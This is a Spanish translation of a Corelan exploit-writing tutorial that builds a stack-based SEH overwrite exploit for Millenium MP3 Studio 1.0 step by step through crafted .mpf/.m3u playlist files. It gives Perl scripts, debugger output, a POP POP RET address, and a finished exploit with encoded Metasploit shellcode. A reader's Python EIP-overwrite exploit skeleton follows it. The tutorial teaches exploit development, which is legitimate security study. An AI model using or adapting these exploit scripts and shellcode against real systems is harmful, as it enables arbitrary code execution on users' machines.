Creacion de Exploits 3b: SEH - Solo Otro Ejemplo

En el tutorial anterior (3) he explico lo básico de los exploits de SEH. He explicado que en el caso más simple de un exploit de SEH, el payload se estructura así:

```
[Junk][Próximo SEH][SEH][Shellcode]
```

He indicado que SEH necesita ser sobrescrito por un puntero a "POP POP RET" y el próximo SEH con necesita ser sobrescrito con 6 bytes para saltar sobre el SEH. Por supuesto, esta estructura fue basada en la lógica de la mayoría de las vulnerabilidades de SEH. Y más específicamente en la vulnerabilidad de Easy RM to MP3 Player. Solo es un ejemplo detrás del concepto de vulnerabilidades de SEH. Realmente, necesitas ver todos los registros, trabajar con BP´s, etc. Para ver donde reside tu payload/Shellcode. Mira el Stack y luego construye la estructura del payload de acuerdo con el. Solo se creativo.

Algunas veces, tienes suerte y el payload puede ser construido casi a ciegas. Otras veces, no tienes suerte, pero aun puedes convertir al dificil de explotar en un exploit estable que funcione en varias versiones del SO. Y algunas veces necesitarás hardcodear (fijar) direcciones porque es la única forma que funcionen las cosas bien. De cualquier manera, todos los exploits no son iguales. Son trabajos hechos a mano. Basados en las propiedades específicas de una vulnerabilidad determinada y en los métodos disponibles para explotar esa vulnerabilidad.

Hoy veremos como se construye un exploit para una vulnerabilidad que fue descubierta en Millenium MP3 Studio 1.0, como se reportó en:

http://www.milw0rm.com/exploits/9277

Descargar copia local: https://www.corelan.be/?dl_id=39

El script PoC dice que (probablemente basado en los valores de los registros) es facil de explotar. Pero parece que no le funcionó a la persona que descubrió el defecto y por eso publicó el script PoC.

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

```
#!/usr/bin/perl
# Found By :: HACK4LOVE
# MP3 Studio v 1.0 (.mpf /.m3u File) Local Stack Overflow PoC
##http://www.software112.com/products/mp3-millennium+download.html
#############################################################################
##Thanks for SkuLL-HacKeR ####and all WwW.Sec-ArT.CoM/cc team
#############################################################################
##EAX 00000000
##ECX 41414141
##EDX 7C9037D8 ntdll.7C9037D8
##EBX 00000000
##ESP 00134970
##EBP 00134990
##ESI 00000000
##EDI 00000000
##EIP 41414141
#############################################################################
## it so easy exploit but it did not work for me i hope some one exploit it#####
#############################################################################
my $crash="http://"."\x41" x 5000;
open(myfile,'>>hack4love.m3u');
print myfile $crash;
#############################################################################

# milw0rm.com [2009-07-27]
```

En el rectángulo rojo vemos que el autor escribió en inglés que es muy fácil de explotar pero que no le funcionó y que espera que alguien lo pueda explotar.

Basado en los valores de los registros mostrados por “Hack4love”, podríamos concluir que este es un típico desbordamiento de pila (Stack). Donde EIP se sobrescribe con el buffer basura. Así que, necesitas encontrar el Offset a EIP, encontrar el payload en uno de los registros, sobrescribir EIP con un “salto a…” y ¿eso es todo? No exactamente.

Veamos. Creemos un archivo con “http://”+5000 A’s. ¿Qué consigues cuando ejecutas la aplicación en Windbg y abres el archivo? Crearemos un archivo .mpf:

```
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Escribiendo exploit$sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] Archivo escrito\n";
print " [+] " . length($payload)." bytes\n";
```

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

Abre Windbg y carga el ejecutable mp3studio. Ejecuta la aplicación y abre el archivo. (No repetiré estas instrucciones siempre. Asumo que ya sabes como funcionan las cosas hasta ahora).

```
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000
edx=41414141 esi=0012e990 edi=00faa68c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be
loaded for image
00400000image00400000+0x3734:00403734 8b4af8 mov ecx,dword ptr [edx-8]
ds:0023:41414139=????????
Missing image name, possible paged-out or corrupt data.
```

Correcto. Access Violation. Pero los registros no están cerca de los mencionados en el script PoC. Puede ser que el largo del buffer sea incorrecto (para causar un típico desbordamiento de pila sobrescribiendo EIP) o es un problema de SEH. Veamos la cadena SEH para averiguarlo.

```
0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+41414140 (41414141)
Invalid exception stack at 41414141
```

OK. Tanto el SE Handler como el próximo SEH son sobrescritos. Así que es un exploit de SEH. Construye otro archivo de Metasploit con un patrón de 5000 caracteres para encontrar el Offset del SEH y SE Handler.

Ahora, la cadena SEH se ve así:

```
0:000> !exchain0012f9a0:
<Unloaded_ud.drv>+30684638 (30684639)
Invalid exception stack at 67463867
```

El SE Handler fue sobrescrito con 0×39466830 (little endian, recuerda), y el próximo SEH se sobrescribió con 0×67384667.

SE Handler : 0×39466830 = 9Fh0 (offset del patrón 4109)
Próximo SEH : 0×67384667 = g8Fg (offset del patrón 4105)

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

Esto tiene sentido. Ahora, en un exploit de SEH típico, construirías tu payload así:

- Primero, los 4105 caracteres basura (quita los caracteres sucios como los 2 diagonales \ \ después http: + un par de A´s)

- Sobrescribe el próximo SEH con Jumpcode (0xeb, 0×06, 0×90, 0×90) para saltar al SE Handler y aterrizar en la Shellcode.

- Sobrescribre el SE Handler con un puntero al POP POP RET.

- Pon tu Shellcode (rodeada de NOP´s si es necesario) y agrega más datos si hace falta.

O en Perl, (aún usando algún contenido falso, solo para verificar los offsets):

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-
length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Escribiendo el exploit $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] Archivo escrito\n";
print " [+] " . length($payload)."
```

Crash (error):

```
(ac0.ec0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0012fba4 ebx=0012fba4 ecx=00000000
edx=44444444 esi=0012eb7c edi=00fb1c84
eip=00403734 esp=0012eb68 ebp=0012fbac iopl=0
nv up ei pl nz na pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b
gs=0000
```

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

```
efl=00010206*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be
loaded for image00400000image

00400000+0x3734:00403734 8b4af8  mov     ecx,dword ptr [edx-8]
ds:0023:4444443c=????????

Missing image name, possible paged-out or corrupt data.0:000>

!exchain0012fb8c:
<Unloaded_ud.drv>+43434342 (43434343)
Invalid exception stack at 42424242
```

SE Handler fue sobrescrito con 43434343 (4 C's, como se esperaba), y el próximo SEH con 42424242 (4 B's, como se esperaba).

Reemplacemos el SE Handler con un POP POP RET y reemplacemos también el próximo SEH con 4 BP´s (sin Jumpcode aún. Solo queremos encontrar nuestro payload):

Mira la lista de módulos cargados y trata de encontrar un POP POP RET en uno de los módulos. Puedes usar el plugin "SafeSEH" de OllyDBG para ver la xaudio.dll, que es una de las DLL´s de la aplicación, tiene múltiples POP POP RET´s. Usaremos el de 0x1002083D:

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #breakpoint, el sploit debería para aquí
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Escribiendo exploit$sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] Archivo escrito\n";
print " [+] " . length($payload)." bytes\n";
```

En la primera Access Violation, le pasamos la excepción a la aplicación. El POP POP RET se ejecutó y debería terminar en el código de los BP´s (en nseh).

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

Ahora, ¿dónde está nuestro payload? Debería haber muchas D´s (después del SEH), pero podrían ser A´s también al principio del buffer.

Veamos: si el payload está después del SEH y la aplicación paró en los BP´s, entonces EIP apuntar al primer byte del nSEH (nuestro código de BP´s). El Dump de EIP debería mostrar el nSEH seguido por el SEH luego la Shellcode:

```
0:000> d eip
0012f9a0  cc cc cc cc 3d 08 02 10-44 44 44 44 44 44 44 44
....=...DDDDDDDD
0012f9b0  44 44 44 44 44 44 44 44-00 00 00 00 44 44 44 44
DDDDDDDD....DDDD
0012f9c0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44
DDDDDDDDDDDDDDDD
0012f9d0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44
DDDDDDDDDDDDDDDD
0012f9e0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44
DDDDDDDDDDDDDDDD
0012f9f0  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44
DDDDDDDDDDDDDDDD
0012fa00  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44
DDDDDDDDDDDDDDDD
0012fa10  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44
DDDDDDDDDDDDDDDD
```

OK. Esto se ve prometedor, sin embargo podemos ver caracteres NULL después de aproximadamente 32 bytes (en azul). Entonces, tenemos 2 opciones: usar los 4 bytes de código en nSEH para saltar sobre SEH y luego usar los 16 bytes para saltar los caracteres NULL. O saltar directamente del nSEH a la Shellcode.

Primero, verifiquemos que realmente estamos viendo el inicio de la Shellcode (reemplazando las primeras D´s con datos fácilmente reconocibles):

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-
length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Escribiendo exploit$sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
```

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

```
print " [+] Archivo escrito\n";
print " [+] " . length($payload)." bytes\n";
```

```
(b60.cc0): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8
edi=00000000
eip=0012f9a0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f99f:
0012f9a0 cc int 3
0:000> d eip
0012f9a0 cc cc cc cc 3d 08 02 10-41 31 32 33 34 35 36 37 ....=...A1234567
0012f9b0 38 39 42 31 32 33 34 35-00 00 00 00 43 31 32 33 89B12345....C123
0012f9c0 34 35 36 37 38 39 44 31-32 33 34 35 36 37 38 39 456789D123456789
0012f9d0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9e0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012f9f0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012fa00 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012fa10 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
```

Ahi tenemos el inicio de la Shellcode. Pero hay un pequeño “agujero” después del primer par de bytes de la Shellcode (ver caracteres NULL en rojo). Imaginemos que queremos saltar ese agujero y comenzar la Shellcode con 4 NOP´s (podemos poner nuestra Shellcode real en 0012f9c0). Básicamente, usamos 24 NOP´s antes de la Shellcode. Entonces, necesitamos saltar (desde el nSEH) 30 bytes. (Eso es 0xeb,0x1e).

Podemos hacer esto:

```
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #jump 30 bytes
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-
length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Escribiendo exploit$sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] Archivo escrito\n";
print " [+] " . length($payload)." bytes\n";
```

Abre el archivo .mpf y deberías haber parado en el BP (en 0x0012f9c0).

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

Después de pasarle la excepción a la aplicación:

```
(1a4.9d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012f9b8 ebx=0012f9b8 ecx=00000000 edx=90909090 esi=0012e990
edi=00fabf9c
eip=00403734 esp=0012e97c ebp=0012f9c0 iopl=0
nv up ei ng nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010286*** WARNING: Unable to verify checksum for image
00400000*** ERROR: Module load completed but symbols could not be
loaded for image
00400000image00400000+0x3734:
00403734 8b4af8 mov ecx,dword ptr [edx-8] ds:0023:90909088=????????
Missing image name, possible paged-out or corrupt data.

0:000> g
(1a4.9d4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012e694 ecx=1002083d edx=7c9032bc esi=7c9032a8
edi=00000000
eip=0012f9c0 esp=0012e5b8 ebp=0012e5cc iopl=0
nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000246<Unloaded_ud.drv>+0x12f9bf:
0012f9c0 cc int 3
```

OK. Ahora, reemplaza los BP´s con Shellcode real y termina el script:

```
# [+] Vulnerability      : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product            : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download   : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method             : seh
# [+] Tested on         : Windows XP SP3 En
# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to         : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277

# ------------------------------------------------------------------------------
#                                                 MMMMM~.
#                                                 MMMMM?.
#    MMMMMM8.   .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:    MMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMM.MMMMMMMM=MMMMMMMMM=.MMMMM?7MMMMMMMMM: MMMMMMMMMM:
#  MMMMMIMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMM~MMMMM?MMMMMZMMMMI.MMMMMZMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMI.MMMMM+MMMM:
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMI.MMMMM+MMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMIMMMMO.MMMMM+MMMM:
#  =MMMMMMMMZ~MMMMMMMMM8~MMMMM7. .MMMMMMMMMO:MMMMM?MMMMMMMMMMIMMMMM+MMMM:
#  .:$MMMMO7:..+OMMMMO$=.MMMMM7.  ,IMMMMMO$~ MMMMM?.?MMOZMMMMZ~MMMMM+MMMM:
#     .,,,,.      .,,,,.  .,,,,,     .,,,,.  .,,,,. .,,,,,,,,. .,,,,,,,,,,.
#                                                              eip hunters
# ------------------------------------------------------------------------------
```

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

```
# Script solo para propósitos educativos.
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90";  #Salta 30 bytes
my $seh=pack('V',0x1002083D);  #pop pop ret de xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my
$shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49"
.
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-
length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Escribiendo exploit$sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] Archivo escrito\n";
print " [+] " . length($payload)." bytes\n";
```

¡Baaam! (Y se lo envié a milw0rm)

Creacion de Exploits 3b: SEH Solo Otro Ejemplo por corelanc0d3r traducido por Ivinson/CLS

Ejercicio:

Trata de crear un exploit funcional para archivos .m3u y ver si puedes encontrar la forma de usar EIP sobrescrito (en vez de SEH).

Nota rápida: la Shellcode no tiene que ser colocada después de nSEH/SEH. También puede ser puesta en la primera parte del buffer del payload y algunas veces tienes que:

- Una ubicación de buffer pequeño para escribir algún Jumpcode para que puedas saltar a la Shellcode real.
- Hardcodear una dirección (si no hay más opciones).

El exploit de SEH para los archivos .m3u es casi idéntico para la versión mpf. No discutiré esto aquí.

Un usuario de mi blog, mancu37, ha publicado un exploit alternativo para este vulnerabilidad basada en sobreescritura de RET directa. Buen trabajo mancu37.

Respuesta de mancu37:

Hola, Peter.

Este es el código de Python con el cual trataré de explotar la aplicación MP3 Studio usando sobreescritura de EIP.

```
part_A = 'http://' ## Esto es necesario.

part_B = '\\xcc' * 1520 ## Un espacio grande para cualquier cosa.

ShellCode = '\\x90? * 507 ## Aqui va nuestra Shellcode.

part_C = '\\xcc\\xE9\\xFE\\xFD\\xFF\\xFF\\x90\\x90\\x90\\x90\\x90\\x90\\x90? ## salto largo al inicio de la ShellCode

EIP = '\\x13\\x44\\x87\\x7C' ## JMP ESP ( kernel32.dll )

part_D = '\\xEB\\xEB\\x90\\x90? ## Salto corto

obj = open("miLista.m3u","w")

obj.write(part_A)

obj.write(part_B)
```

```
obj.write(ShellCode)

obj.write(part_C)

obj.write(EIP)

obj.write(part_D)

obj.close()
```

Nota 2 cosas:

1. Hay varios '\\xcc' para detener el código, ejecútalo con OllyDBG.
2. Hay 2 saltos negativos. Son usados para encontrar la Shellcode.

Este código es muy simple y divertido.

Puedes agregar un payload con Metasploit. Para este ejemplo, puedes usar un payload de 500 bytes.

Si quieres ejecutar este exploit directamente, no funcionará porque tienes que quitar el opcode de '\\xcc' y agregar tu Shellcode o cualquier payload que quieras.

Gracias por tus tutoriales, Peter.

Mancu.

¿Preguntas? ¿Comentarios? ¿Tips y Trucos?

https://www.corelan.be/index.php/forum/writing-exploits

Página Oficial en Inglés:

http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

Traductor: **Ivinson/CLS**. Contacto: Ipadilla63@gmail.com